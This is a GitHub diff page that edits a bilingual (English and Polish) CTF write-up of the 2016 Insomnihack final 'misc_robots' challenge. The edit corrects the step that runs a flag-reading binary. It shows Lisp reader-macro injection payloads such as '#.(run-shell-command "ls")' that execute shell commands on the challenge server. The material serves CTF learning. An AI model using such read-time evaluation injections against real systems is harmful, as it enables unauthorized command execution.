File tree Expand file tree Collapse file tree 1 file changed +6
-4
lines changed
2016-03-18-insomnihack-final/misc_robots Expand file tree Collapse file tree 1 file changed +6
-4
lines changed Original file line number Diff line number Diff line change @@ -137,10 +137,11 @@ With this we checked how to execute shell commands from LISP and used:
137
137
#.(run-shell-command "ls")
138
138
```
139
139
140
- To find the flag in ` /getflag/flag ` and then:
140
+ To find the flag in ` /getflag/flag ` and also a binary ` getflag/read_flag ` with rights to read it.
141
+ We run it:
141
142
142
143
```
143
- #.(run-shell-command "./getflag/flag ")
144
+ #.(run-shell-command "./getflag/read_flag ")
144
145
```
145
146
146
147
To read the flag.
@@ -281,10 +282,11 @@ Następnie sprawdziliśmy jak wykonywać komendy shell z poziomu LISPa i wysłal
281
282
#.(run-shell-command "ls")
282
283
```
283
284
284
- Aby znaleźć falgę w ` /getflag/flag ` a następnie:
285
+ Aby znaleźć falgę w ` /getflag/flag ` oraz program ` getflag/read_flag ` z uprawnieniami do odczytania flagi;
286
+ Uruchamiamy go:
285
287
286
288
```
287
- #.(run-shell-command "./getflag/flag ")
289
+ #.(run-shell-command "./getflag/read_flag ")
288
290
```
289
291
290
292
Aby odczytać flagę
You can’t perform that action at this time.
0 commit comments